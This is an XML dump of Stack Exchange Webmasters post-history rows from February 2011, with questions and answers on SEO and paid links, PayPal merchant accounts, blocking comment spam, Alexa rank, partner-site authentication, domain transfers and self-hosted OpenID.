  <row Id="21735" PostHistoryTypeId="5" PostId="9777" RevisionGUID="e08ba095-5590-4ad2-9fc8-182f6f7409fc" CreationDate="2011-02-28T03:53:48.933" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SEO drawbacks of having paid links without nofollow?](http://webmasters.stackexchange.com/questions/3480/seo-drawbacks-of-having-paid-links-without-nofollow)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;A few companies are will to pay us for links on our homepage. I am assuming these are legitimate sites although they are unrelated to our sites content. Would google penalize our site for having these links? We definitely need the revenue and we view this as selling advertising space- but I don't want to kill our good ranking. Does anyone have any insight, is it possible to ask google directly?" />
  <row Id="21736" PostHistoryTypeId="10" PostId="9777" RevisionGUID="7811240f-41d4-48cc-9fe8-6eedd591c63a" CreationDate="2011-02-28T03:53:48.780" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21737" PostHistoryTypeId="25" PostId="9781" RevisionGUID="984ec936-02cd-415d-99a2-177a4bd5b8f5" CreationDate="2011-02-28T05:23:05.160" Comment="http://twitter.com/#!/StackWebmasters/status/42092397236203520" />
  <row Id="21738" PostHistoryTypeId="2" PostId="9783" RevisionGUID="ec78c40f-1426-47a4-984b-7fddd9df5472" CreationDate="2011-02-28T07:42:31.857" UserId="1218" Text="We've used this for projects in the past, because YouTube's infrastructure is so open -- not just as a CDN but also as a way to deal with uploads and conversion.&#xD;&#xA;&#xD;&#xA;The only real downside we found is the watermark. You can use custom players, so you aren't limited to clunky YouTube players.&#xD;&#xA;&#xD;&#xA;Some clients initially object to the watermark, but when you point out  that *everyone* uses YouTube these days, they change their minds.&#xD;&#xA;&#xD;&#xA;I'd recommend this to anyone doing video on their site." />
  <row Id="21739" PostHistoryTypeId="25" PostId="9777" RevisionGUID="0f8b06b7-64a6-4822-8eaf-146f06c0c5ac" CreationDate="2011-02-28T08:23:05.770" Comment="http://twitter.com/#!/StackWebmasters/status/42137701780176896" />
  <row Id="21740" PostHistoryTypeId="2" PostId="9784" RevisionGUID="1bf31d67-1c49-4e1a-857b-d999fe84c791" CreationDate="2011-02-28T09:51:20.383" UserId="5700" Text="I have had a quick look but couldn't see anything related.&#xD;&#xA;&#xD;&#xA;Basically, if we were to accept payments for events on our website, via paypal (essentially a Buy it now! button), as a business, do we need a merchant's account, or will a regular bank account be acceptable?&#xD;&#xA;&#xD;&#xA;I may have some confusion in terms. My understanding is you need a merchant's account to accept credit card payments, but as we are using PayPal, is this necessary?&#xD;&#xA;&#xD;&#xA;Thank you for any clarification.&#xD;&#xA;&#xD;&#xA;disclaimer - I've read http://webmasters.stackexchange.com/questions/45/what-are-some-options-for-taking-payments-on-my-website but it doesn't explicitly say if we require a merchant account or not. &#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="21741" PostHistoryTypeId="1" PostId="9784" RevisionGUID="1bf31d67-1c49-4e1a-857b-d999fe84c791" CreationDate="2011-02-28T09:51:20.383" UserId="5700" Text="is a merchant account a requirment for a website to take payments.." />
  <row Id="21742" PostHistoryTypeId="3" PostId="9784" RevisionGUID="1bf31d67-1c49-4e1a-857b-d999fe84c791" CreationDate="2011-02-28T09:51:20.383" UserId="5700" Text="&lt;payments&gt;&lt;paypal&gt;" />
  <row Id="21743" PostHistoryTypeId="17" PostId="9786" RevisionGUID="cbf307af-0d5e-4c0b-bf44-0c55715451c0" CreationDate="2011-02-28T09:58:31.520" UserId="-1" Comment="from http://serverfault.com/questions/241019/best-way-to-block-comment-spam-postings-to-web-forms/241024#241024" Text="" />
  <row Id="21744" PostHistoryTypeId="17" PostId="9787" RevisionGUID="4ee42fd1-2f39-4cf4-84c5-9048d4ee0478" CreationDate="2011-02-28T09:58:31.520" UserId="-1" Comment="from http://serverfault.com/questions/241019/best-way-to-block-comment-spam-postings-to-web-forms/241064#241064" Text="" />
  <row Id="21745" PostHistoryTypeId="2" PostId="9786" RevisionGUID="73ddeab1-0615-45a3-9e08-2f3ec54c8632" CreationDate="2011-02-28T04:57:11.640" UserDisplayName="BillThor " Text="I use Akismet to block comment spam in my Wordpress log. (Almost all comments are spam, but I still get an appreciate proper comments.)  This service can be used by other comment streams.  Plugins are available for various applications.  The code is PHP and should be looking at. " />
  <row Id="21746" PostHistoryTypeId="2" PostId="9787" RevisionGUID="321c1f81-b879-4e52-aeb5-96f538a9c2e8" CreationDate="2011-02-28T08:27:01.690" UserDisplayName="anthonysomerset" Text="Another possible trick is to create a form element that you hide with css, then validate your form, if that form element has content in it you can reject the form as a normal user would not have been able to fill it in therefore it must most likely be spam.&#xD;&#xA;&#xD;&#xA;In htaccess you would have to fully block those IP's to my knowledge, but to block an IP from browsing your site, add the following to your HTAccess file&#xD;&#xA;&#xD;&#xA;    order allow,deny&#xD;&#xA;    deny from 127.0.0.1&#xD;&#xA;    allow from all`&#xD;&#xA;&#xD;&#xA;where 127.0.0.1 is the IP you want to block, to block extra IP's just duplicate the deny line and edit the IP to match" />
  <row Id="21747" PostHistoryTypeId="2" PostId="9785" RevisionGUID="be7ceea9-7978-4b54-b009-7a505757f00c" CreationDate="2011-02-28T04:25:53.167" UserDisplayName="David Jones" Text="I have a custom web form on my PHP-based site.&#xD;&#xA;&#xD;&#xA;Recently it is getting a regular stream of **comment-spam** postings from a few specific IP addresses.&#xD;&#xA;&#xD;&#xA;**Question:**  What is a good way to block a small set of blacklisted IP addresses from accessing my site?&#xD;&#xA;&#xD;&#xA;I was thinking it should be possible using **.htaccess** to respond with status code 403 (Forbidden) for all HTTP requests from the blacklisted IP addresses, ... but I am not sure exactly how to do that.&#xD;&#xA;&#xD;&#xA;If anyone knows the **.htaccess** syntax needed to accomplish this, ... please let me know.&#xD;&#xA;&#xD;&#xA;thanks in advance," />
  <row Id="21748" PostHistoryTypeId="1" PostId="9785" RevisionGUID="be7ceea9-7978-4b54-b009-7a505757f00c" CreationDate="2011-02-28T04:25:53.167" UserDisplayName="David Jones" Text="Best way to block &quot;comment spam&quot; postings to web forms?" />
  <row Id="21749" PostHistoryTypeId="3" PostId="9785" RevisionGUID="be7ceea9-7978-4b54-b009-7a505757f00c" CreationDate="2011-02-28T04:25:53.167" UserDisplayName="David Jones" Text="&lt;php&gt;&lt;webserver&gt;&lt;htaccess&gt;&lt;spam&gt;" />
  <row Id="21750" PostHistoryTypeId="17" PostId="9785" RevisionGUID="3c51cc6a-22b4-4e98-896f-ea55fc8ad8b0" CreationDate="2011-02-28T09:58:31.520" UserId="-1" Comment="from http://serverfault.com/questions/241019/best-way-to-block-comment-spam-postings-to-web-forms" Text="" />
  <row Id="21751" PostHistoryTypeId="2" PostId="9788" RevisionGUID="b2fb0e15-4517-4d07-8a49-96848a9f5269" CreationDate="2011-02-28T10:11:25.220" UserId="1757" Text="You only need a merchant account if you're going to be processing credit card transactions&amp;mdash;whether by a wired/wireless credit card terminal, by credit card slips, or by an online payment gateway, then you need a merchant account. The merchant account is basically just a bank account that can receive credit card payments.&#xD;&#xA;&#xD;&#xA;If you're using PayPal standard, then you're not actually processing any credit card transactions or receiving credit card payments. PayPal is the one who does all of that, and you get the money from them after they've processed the payments and received the money from the customer." />
  <row Id="21752" PostHistoryTypeId="2" PostId="9789" RevisionGUID="deffd508-0563-4604-9be4-fb9b53584fa0" CreationDate="2011-02-28T10:11:43.253" UserId="4502" Text="No. If you're using PayPal's Payment Standard or Payment Pro options, you're more or less piggy-backing on their merchant account. (That's probably not quite &lt;em&gt;technically&lt;/em&gt; correct; but the important part is that the answer to your question is &quot;no.&quot;) &#xD;&#xA;&#xD;&#xA;The Payflow Gateway option &lt;em&gt;does&lt;/em&gt; use your own merchant account(and has a different fee structure), but it doesn't seem that's what you're doing." />
  <row Id="21754" PostHistoryTypeId="2" PostId="9791" RevisionGUID="06696905-1d3f-40ef-97d8-31cdf7cbd703" CreationDate="2011-02-28T10:58:55.000" UserId="962" Text="I'm new to adwords and I'm trying to figure out what a good click through rate on my ads would be.   Does anyone have any guidelines?" />
  <row Id="21755" PostHistoryTypeId="1" PostId="9791" RevisionGUID="06696905-1d3f-40ef-97d8-31cdf7cbd703" CreationDate="2011-02-28T10:58:55.000" UserId="962" Text="What is a good click through rate (CTR)" />
  <row Id="21756" PostHistoryTypeId="3" PostId="9791" RevisionGUID="06696905-1d3f-40ef-97d8-31cdf7cbd703" CreationDate="2011-02-28T10:58:55.000" UserId="962" Text="&lt;adwords&gt;" />
  <row Id="21757" PostHistoryTypeId="25" PostId="9784" RevisionGUID="e2b30c45-b38e-4674-a4e3-6476ffa25209" CreationDate="2011-02-28T11:23:05.437" Comment="http://twitter.com/#!/StackWebmasters/status/42182999046881280" />
  <row Id="21762" PostHistoryTypeId="6" PostId="9785" RevisionGUID="005b8a85-e3aa-46f2-a22f-c47aa09d5711" CreationDate="2011-02-28T12:50:32.813" UserId="1253" Comment="Removed &quot;php webserver htaccess spam&quot; tags, added spam-prevention tag" Text="&lt;spam-prevention&gt;" />
  <row Id="21763" PostHistoryTypeId="2" PostId="9792" RevisionGUID="627dffb2-2764-4cf6-b313-56ca09929919" CreationDate="2011-02-28T12:59:26.330" UserId="5705" Text="The best way I have found to get rid of comment spam is using a [CAPTCHA][1] system. There are plugins for vaious systems including PHP that make implementing them very easy. This is one of the techniques used by this site.&#xD;&#xA;&#xD;&#xA;With regard to blocking IP addresses the best form of defence is a good firewall. Simply add the offending IPs to the firewall's blacklist. That said blocking IPs won't stop the issue as many spammers are using botnets these days that use different IP addresses for each attack.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://captcha.net/" />
  <row Id="21764" PostHistoryTypeId="5" PostId="9785" RevisionGUID="e66cb7d2-1ffc-445b-b5cb-919dbe2436ef" CreationDate="2011-02-28T13:12:27.273" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Make your site anti-bot?](http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a custom web form on my PHP-based site.&#xD;&#xA;&#xD;&#xA;Recently it is getting a regular stream of **comment-spam** postings from a few specific IP addresses.&#xD;&#xA;&#xD;&#xA;**Question:**  What is a good way to block a small set of blacklisted IP addresses from accessing my site?&#xD;&#xA;&#xD;&#xA;I was thinking it should be possible using **.htaccess** to respond with status code 403 (Forbidden) for all HTTP requests from the blacklisted IP addresses, ... but I am not sure exactly how to do that.&#xD;&#xA;&#xD;&#xA;If anyone knows the **.htaccess** syntax needed to accomplish this, ... please let me know.&#xD;&#xA;&#xD;&#xA;thanks in advance," />
  <row Id="21765" PostHistoryTypeId="10" PostId="9785" RevisionGUID="e4784267-6e1b-4d97-9b40-7885db63a72a" CreationDate="2011-02-28T13:12:27.193" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21766" PostHistoryTypeId="17" PostId="9794" RevisionGUID="0251ec7f-fec3-4a51-81ec-e3fafdd58340" CreationDate="2011-02-28T13:12:34.230" UserId="-1" Comment="from http://stackoverflow.com/questions/5141340/is-it-possible-that-two-or-more-urls-may-have-same-alexa-traffic-rank/5142299#5142299" Text="" />
  <row Id="21767" PostHistoryTypeId="17" PostId="9795" RevisionGUID="d0f45a71-6ea8-4dee-b028-ba73c2581ce6" CreationDate="2011-02-28T13:12:34.230" UserId="-1" Comment="from http://stackoverflow.com/questions/5141340/is-it-possible-that-two-or-more-urls-may-have-same-alexa-traffic-rank/5142400#5142400" Text="" />
  <row Id="21768" PostHistoryTypeId="2" PostId="9794" RevisionGUID="55886ea4-3c65-43b1-8c50-d114d1cc285a" CreationDate="2011-02-28T12:58:46.290" UserId="4322" Text="I think you just answered your own question.&#xD;&#xA;&#xD;&#xA;Maybe there are domains that have exactly the same score so rank the same. A bit like two second placers and no third." />
  <row Id="21769" PostHistoryTypeId="2" PostId="9795" RevisionGUID="16e9177b-7943-4bf1-bac1-0d13f3f6a421" CreationDate="2011-02-28T13:10:04.073" UserDisplayName="r3st0r3" Text="Any Alexa rank above 100000 is pretty unreliable and prone to change. The Website never shows any two websites as having the same Alexa rank whenever I checked! Can you tell us which URLs you found to be having the same Alexa rank?&#xD;&#xA;&#xD;&#xA;Basically, Websites with Alexa rank above 100000 are just starting out or are not that popular. So, you should really consider your application for those below 100,000." />
  <row Id="21770" PostHistoryTypeId="2" PostId="9793" RevisionGUID="16228cc0-163e-4d73-be17-d6d9665c9291" CreationDate="2011-02-28T11:25:46.307" UserDisplayName="Tokendra Kumar Sahu" Text="Is it possible that two or more URL's may have same Alexa traffic rank?&#xD;&#xA;I am developing a tools that depends on the Alexa rank, But there are some&#xD;&#xA;Urls with same alexa rank.&#xD;&#xA;" />
  <row Id="21771" PostHistoryTypeId="1" PostId="9793" RevisionGUID="16228cc0-163e-4d73-be17-d6d9665c9291" CreationDate="2011-02-28T11:25:46.307" UserDisplayName="Tokendra Kumar Sahu" Text="Is it possible that two or more URL's may have same Alexa traffic rank?" />
  <row Id="21772" PostHistoryTypeId="3" PostId="9793" RevisionGUID="16228cc0-163e-4d73-be17-d6d9665c9291" CreationDate="2011-02-28T11:25:46.307" UserDisplayName="Tokendra Kumar Sahu" Text="&lt;seo&gt;&lt;web-crawler&gt;&lt;crawling&gt;&lt;alexa&gt;" />
  <row Id="21773" PostHistoryTypeId="17" PostId="9793" RevisionGUID="04b2ed26-9130-45ca-b0b4-0d0962be7ef8" CreationDate="2011-02-28T13:12:34.230" UserId="-1" Comment="from http://stackoverflow.com/questions/5141340/is-it-possible-that-two-or-more-urls-may-have-same-alexa-traffic-rank" Text="" />
  <row Id="21774" PostHistoryTypeId="5" PostId="6663" RevisionGUID="b851fe2b-45b5-4059-a19b-6bafbd11121e" CreationDate="2011-02-28T13:12:58.317" UserId="5651" Comment="Formatting and style edit. Also taking into account the SO link in that the file is already  &quot;downloaded&quot; by the browser so it could be heard. And also opening the question a bit, so to have basic &quot;security&quot; measure." Text="I need to publish a audio file that I want to make so that:&#xD;&#xA;&#xD;&#xA;- It is available to listen in streaming.&#xD;&#xA;- The file can't be retrieved for private use.&#xD;&#xA;&#xD;&#xA;Any idea how to do it?&#xD;&#xA;&#xD;&#xA;Something where user cannot save the audio using any webbrowser plugin like DownloadHelper would be the best, but already preventing the everyday user to save the source file on his machine with a right click would help." />
  <row Id="21775" PostHistoryTypeId="24" PostId="6663" RevisionGUID="b851fe2b-45b5-4059-a19b-6bafbd11121e" CreationDate="2011-02-28T13:12:58.317" Comment="Proposed by 5651 approved by 1253 edit id of 39" />
  <row Id="21776" PostHistoryTypeId="2" PostId="9796" RevisionGUID="88cf4f2f-91f9-4b93-96f4-4215767be154" CreationDate="2011-02-28T13:53:25.620" UserId="2650" Text="&#xD;&#xA;We're building a Drupal module that is going to be given to trusted 'corporate partners'. When a user clicks on a link, he should be redirected to our site as if he's a logged in user.&#xD;&#xA;&#xD;&#xA;How should I verify that the user is indeed coming from that site? It does not look like 'HTTP_REFERER' is enough because it appears it can be faked.&#xD;&#xA;&#xD;&#xA;We are providing these partner sites with API Keys. If I receive the API-key as a POST value, sent over https, would that be a sufficient indicator that the user is a genuine partner-site user?" />
  <row Id="21777" PostHistoryTypeId="1" PostId="9796" RevisionGUID="88cf4f2f-91f9-4b93-96f4-4215767be154" CreationDate="2011-02-28T13:53:25.620" UserId="2650" Text="Verifying that a user comes from a 'partner' site?" />
  <row Id="21778" PostHistoryTypeId="3" PostId="9796" RevisionGUID="88cf4f2f-91f9-4b93-96f4-4215767be154" CreationDate="2011-02-28T13:53:25.620" UserId="2650" Text="&lt;ssl&gt;&lt;http&gt;&lt;http-headers&gt;&lt;referrer&gt;" />
  <row Id="21779" PostHistoryTypeId="6" PostId="9793" RevisionGUID="bd9a1873-a716-41b4-a0ad-80b6dc066955" CreationDate="2011-02-28T14:10:41.277" UserId="1253" Comment="Removed &quot;seo web-crawler crawling &quot; tags" Text="&lt;alexa&gt;" />
  <row Id="21780" PostHistoryTypeId="2" PostId="9797" RevisionGUID="4adbc6b4-b3e7-4641-abc6-53e8d89ebffe" CreationDate="2011-02-28T14:12:37.343" UserId="1253" Text="If a unique login and password combination is sent over https and those credentials are valid then that is a secure way to confirm a partner's identity. That's how most APIs work including those of payment processing companies." />
  <row Id="21781" PostHistoryTypeId="2" PostId="9798" RevisionGUID="f101ac58-5b5f-4674-8c3c-97f1a57ad98e" CreationDate="2011-02-28T14:16:41.833" UserId="3535" Text="The merger tool should give options for you when it spots the same id's/classes on different css files, but in this case it wouldn't allow you to merge them together. In example 1 you have the id &quot;admin&quot;, with background set to #222. In example 2 the same id has a background designated as #c952dc. The merger can't put multiple attributes together, your css file wouldn't be valid. Each class/id, regardless of what file they exist on, should only have 1 instance of any particular attribute." />
  <row Id="21782" PostHistoryTypeId="25" PostId="9793" RevisionGUID="3b1c9750-7b6e-4eaa-b476-1b055011ad13" CreationDate="2011-02-28T14:23:06.267" Comment="http://twitter.com/#!/StackWebmasters/status/42228298687856640" />
  <row Id="21783" PostHistoryTypeId="2" PostId="9799" RevisionGUID="1f32c9e4-d452-4887-800a-3238249226ea" CreationDate="2011-02-28T14:54:19.757" UserId="5710" Text="I was wondering if anyone knew of a WordPress theme that was similar to this websites theme (in Drupal): http://www.barefootrunners.org&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="21784" PostHistoryTypeId="1" PostId="9799" RevisionGUID="1f32c9e4-d452-4887-800a-3238249226ea" CreationDate="2011-02-28T14:54:19.757" UserId="5710" Text="WordPress theme like this Drupal theme?" />
  <row Id="21785" PostHistoryTypeId="3" PostId="9799" RevisionGUID="1f32c9e4-d452-4887-800a-3238249226ea" CreationDate="2011-02-28T14:54:19.757" UserId="5710" Text="&lt;wordpress&gt;&lt;drupal&gt;&lt;theme&gt;" />
  <row Id="21786" PostHistoryTypeId="2" PostId="9800" RevisionGUID="4a90f748-47f1-4c23-851c-cf83b80343b1" CreationDate="2011-02-28T15:26:04.260" UserDisplayName="user5711" Text="If a partner website is using your API, you should provide them with a Private API KEY (for server side) and a Public API Key (user side).&#xD;&#xA;&#xD;&#xA;This then allows the &quot;modual&quot; to as you say either pass the Public API key via POST or a GET in the URL.&#xD;&#xA;&#xD;&#xA;This of coerce can be &quot;faked&quot; but you can give a user a cookie, or store a server side identifier so can only be &quot;faked&quot; once." />
  <row Id="21787" PostHistoryTypeId="2" PostId="9801" RevisionGUID="7188a0aa-c9ed-40aa-9b9a-2cbc4d2f8d95" CreationDate="2011-02-28T16:05:32.060" UserDisplayName="user5711" Text="It may increase sales if you use a trusted payment processor such as PayPal, AlertPay, Google Checkout, Amazon Payments and the rest. This is due to persons like me not wanting to enter raw data in a website I have never heard of before.&#xD;&#xA;&#xD;&#xA;If your selling products then merchant account is not &quot;really&quot; needed. Though it is essential once you get past a certain volume of sales." />
  <row Id="21788" PostHistoryTypeId="2" PostId="9802" RevisionGUID="4d96f188-f8ef-4daf-ae80-87bef88f9ca9" CreationDate="2011-02-28T16:15:01.200" UserId="5713" Text="Whether its 960grid or Fluid or 9/12/16/20 column grid systems...they all factor in vertical spacing but never horizontal spacing. Granted we view sites top-to-bottom so we don't necessarily design for limited height, but I'd still like to know how to reliably apply proper horizontal spacing as well to compliment a vertically-sound design. What resources are available for horizontal grids?" />
  <row Id="21789" PostHistoryTypeId="1" PostId="9802" RevisionGUID="4d96f188-f8ef-4daf-ae80-87bef88f9ca9" CreationDate="2011-02-28T16:15:01.200" UserId="5713" Text="Why do all of the various design grids neglect horizontal spacing?" />
  <row Id="21790" PostHistoryTypeId="3" PostId="9802" RevisionGUID="4d96f188-f8ef-4daf-ae80-87bef88f9ca9" CreationDate="2011-02-28T16:15:01.200" UserId="5713" Text="&lt;html&gt;&lt;css&gt;&lt;website-design&gt;&lt;grid&gt;" />
  <row Id="21791" PostHistoryTypeId="2" PostId="9803" RevisionGUID="828c4e18-2517-4e61-9250-829a2b995b01" CreationDate="2011-02-28T16:30:21.910" UserId="1101" Text="I have a goal setup in Google Analytics, I would like to track the number of visits that come from external sources.&#xD;&#xA;&#xD;&#xA;e.g. I would like to see how many visits come from google.co.uk vs google.ie" />
  <row Id="21792" PostHistoryTypeId="1" PostId="9803" RevisionGUID="828c4e18-2517-4e61-9250-829a2b995b01" CreationDate="2011-02-28T16:30:21.910" UserId="1101" Text="Google Analytics: Find external sites which referred most visitors to a Goal" />
  <row Id="21793" PostHistoryTypeId="3" PostId="9803" RevisionGUID="828c4e18-2517-4e61-9250-829a2b995b01" CreationDate="2011-02-28T16:30:21.910" UserId="1101" Text="&lt;google-analytics&gt;&lt;tracking&gt;&lt;statistics&gt;" />
  <row Id="21794" PostHistoryTypeId="2" PostId="9804" RevisionGUID="2eb40bee-fa86-4437-bc76-fce7571d61f1" CreationDate="2011-02-28T16:52:02.317" UserId="5618" Text="Merchant accounts act as an intermediary for collecting money. It would be like an EFTPOS system if you were to own a shop front. For EFTPOS you need a merchant account who collects money on behalf of you, usually a bank or visa/mastercard.&#xD;&#xA;&#xD;&#xA;A regular bank account for Paypal.&#xD;&#xA;&#xD;&#xA;Merchant accounts can be setup through banks or other 3rd party providers.&#xD;&#xA;Most 3rd party providers, provide web portals for handling transactions, without the web designer having to create it themselves. You will have to provide a point back to yourself to indicate if the transaction was successful or not so the transaction can complete.&#xD;&#xA;&#xD;&#xA;Depending on the country, merchant accounts are not that difficult or expensive to setup.&#xD;&#xA;&#xD;&#xA;I suggest that your talk to your bank first, then to a 3rd party online merchant transactor. I think your bank could provide you a list of reputable online merchants/payment services." />
  <row Id="21795" PostHistoryTypeId="2" PostId="9805" RevisionGUID="8c8ed631-6440-4496-b6b0-4291cb74a11b" CreationDate="2011-02-28T16:59:34.667" UserId="5618" Text="You will never be able to add 40k email addresses to the BCC line of an email client. The developers purposes restrict size on this field to assist with spam control.&#xD;&#xA;&#xD;&#xA;The best solution I have used and seen used on many big sites is [MailChimp][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You could try breaking up the list of users into groups and send. Breakup or categorize alphabetically, or by groups of user types etc. This way you will be able to target and receive valuable info back on your user sets.&#xD;&#xA;&#xD;&#xA;[1]: http://www.mailchimp.com/" />
  <row Id="21796" PostHistoryTypeId="25" PostId="9802" RevisionGUID="9712a31f-d972-4717-ad10-f5211b19f4db" CreationDate="2011-02-28T17:23:07.047" Comment="http://twitter.com/#!/StackWebmasters/status/42273600639737856" />
  <row Id="21797" PostHistoryTypeId="2" PostId="9806" RevisionGUID="eaaa88f8-5fe8-4d61-a59b-d194f58f9384" CreationDate="2011-02-28T17:28:16.123" UserId="5714" Text="**Question 1:** Accept payment on your website, via paypal, need merchant account from elsewhere?&#xD;&#xA;&#xD;&#xA;**Quick answer:** No, not needed.&#xD;&#xA;&#xD;&#xA;**A little bit more elaboration:** Paypal already 'acts', on your behalf, as your merchant account for transactions from your website. &#xD;&#xA;&#xD;&#xA;Do note that having a paypal account is a different thing from having your own merchant account.&#xD;&#xA;&#xD;&#xA;Try to think of Paypal as someone whom you hire for accepting online payments on your behalf, where every customer personal details are all taken care of by their servers." />
  <row Id="21798" PostHistoryTypeId="2" PostId="9807" RevisionGUID="a6540a9e-6204-4b72-b709-e4fe61bb4dcf" CreationDate="2011-02-28T18:02:22.350" UserId="3535" Text="I haven't had any experience with Elements or Paintshop...Luckily I'm able to have the full Adobe CS package at home as well as at my office for my full-time job, otherwise I wouldn't have a full version of Photoshop to work with. &#xD;&#xA;&#xD;&#xA;Gimp is another good option, but to me the UI is complicated to learn. &#xD;&#xA;&#xD;&#xA;A great free solution I've used in the past, and still do from time to time when making small edits is [Paint.NET][1]. It's easy to use and does almost everything that Photoshop can. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Paint.NET" />
  <row Id="21799" PostHistoryTypeId="2" PostId="9808" RevisionGUID="2f062417-8c2e-47d8-8c8f-97e1048b31d8" CreationDate="2011-02-28T18:04:59.367" UserDisplayName="user5716" Text="Almost before one year I registered my domain with Godaddy for one year , and it expired 2 weeks ago, but it still seems Godaddy has the domain, and I can't register with another service provider.&#xD;&#xA;&#xD;&#xA;How can register this domain from another service provider?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="21800" PostHistoryTypeId="1" PostId="9808" RevisionGUID="2f062417-8c2e-47d8-8c8f-97e1048b31d8" CreationDate="2011-02-28T18:04:59.367" UserDisplayName="user5716" Text="Registering my domain with a different service provider" />
  <row Id="21801" PostHistoryTypeId="3" PostId="9808" RevisionGUID="2f062417-8c2e-47d8-8c8f-97e1048b31d8" CreationDate="2011-02-28T18:04:59.367" UserDisplayName="user5716" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;&lt;godaddy&gt;" />
  <row Id="21802" PostHistoryTypeId="2" PostId="9809" RevisionGUID="e648e421-f0e6-4d76-a2df-5be7a11c2b46" CreationDate="2011-02-28T18:08:02.453" UserId="3535" Text="As you said, sites are generally viewed in a vertical fashion, which is why the focus is on the grid systems that are popular today. &#xD;&#xA;&#xD;&#xA;The problem with horizontal spacing is that you're limited as to what you can really control. Browsers allow users to easily zoom in/out, to make text and other elements larger. When that happens, the content will stay within the grid system that has been configured, but grow in height down the page. " />
  <row Id="21803" PostHistoryTypeId="2" PostId="9810" RevisionGUID="5a6328fd-2fef-472e-8fbc-ab852e5b8929" CreationDate="2011-02-28T18:15:21.377" UserId="164" Text="On this question I found the answers I needed.&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/65082/web-based-library-management-foss-application&#xD;&#xA;&#xD;&#xA;As the user heavyd said, the only two viable options I found were [Koha][1] and [Evergreen][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://koha.org/&#xD;&#xA;  [2]: http://www.open-ils.org/" />
  <row Id="21804" PostHistoryTypeId="2" PostId="9811" RevisionGUID="c5827166-beab-407f-bb40-13e5d7ebd6df" CreationDate="2011-02-28T18:27:12.780" UserId="5718" Text="You should just need to use the &quot;Traffic Sources&quot; reports to get this." />
  <row Id="21805" PostHistoryTypeId="2" PostId="9812" RevisionGUID="1dc58025-6126-4c2c-9c6b-cefd861db9b4" CreationDate="2011-02-28T18:43:19.643" UserId="2595" Text="You need to issue a request for Godaddy to release the domain to the new provider. Most domain registrators have an option to transfer a domain name. You will receive a confirmation code from Godaddy. You will also need another code which can be obtained from the Godaddy domain panel. " />
  <row Id="21806" PostHistoryTypeId="2" PostId="9813" RevisionGUID="5c25089b-3d8e-499d-b4e1-21adb9f781ff" CreationDate="2011-02-28T17:12:08.367" UserDisplayName="Alison" Text="As I understand it, OpenID relies on a single trusted service, the OpenID provider.  If you run this service on your own server you then have complete control, and you only have to trust yourself (and your ability to correctly configure and run a web service).&#xD;&#xA;&#xD;&#xA;Would this be the most secure and effective way to manage your online identity?" />
  <row Id="21807" PostHistoryTypeId="1" PostId="9813" RevisionGUID="5c25089b-3d8e-499d-b4e1-21adb9f781ff" CreationDate="2011-02-28T17:12:08.367" UserDisplayName="Alison" Text="Should I run my own OpenID server?" />
  <row Id="21808" PostHistoryTypeId="3" PostId="9813" RevisionGUID="5c25089b-3d8e-499d-b4e1-21adb9f781ff" CreationDate="2011-02-28T17:12:08.367" UserDisplayName="Alison" Text="&lt;openid&gt;" />
  <row Id="21809" PostHistoryTypeId="17" PostId="9813" RevisionGUID="66b8cdaa-93f8-47fb-86d6-a828f5b34b4b" CreationDate="2011-02-28T18:54:09.253" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12992/should-i-run-my-own-openid-server" Text="" />
  <row Id="21811" PostHistoryTypeId="25" PostId="9808" RevisionGUID="01207dfb-d4c5-4c4f-be8f-114ed543a5f1" CreationDate="2011-02-28T20:23:07.820" Comment="http://twitter.com/#!/StackWebmasters/status/42318902809735168" />
  <row Id="21818" PostHistoryTypeId="2" PostId="9816" RevisionGUID="c823f24c-e0d4-4d8c-9c0a-5654e77d70c9" CreationDate="2011-02-28T20:58:34.477" UserId="5406" Text="This seems like overkill.  There are a lot of sites offering OpenIDs.  What aspects are you worried about?  That the provider might themselves masquerade as you?  That the provider might be hacked and have the user/password files copied and decrypted?  If those are your anxieties and you want to relieve them by taking control, you can certainly go ahead.  Your server is unlikely to be more secure than the best providers, but the obscurity of your server would likely make it less subject to hacking attempts." />
  <row Id="21819" PostHistoryTypeId="17" PostId="9818" RevisionGUID="2740a16a-97f8-42af-946d-fb0476329190" CreationDate="2011-02-28T21:29:34.403" UserId="-1" Comment="from http://stackoverflow.com/questions/5104129/which-one-is-better-to-have-link-on-one-page-or-on-all-pages/5104430#5104430" Text="" />
  <row Id="21820" PostHistoryTypeId="2" PostId="9818" RevisionGUID="0f4e1621-ec3a-4b7e-8ff8-f94bc79a91f4" CreationDate="2011-02-24T12:08:00.967" UserId="5718" Text="One link is better. If you place too many links then Google might see it as spam and reduce the ranking of your site. You need to focus on quality links from good reputation sites, not the quantity." />
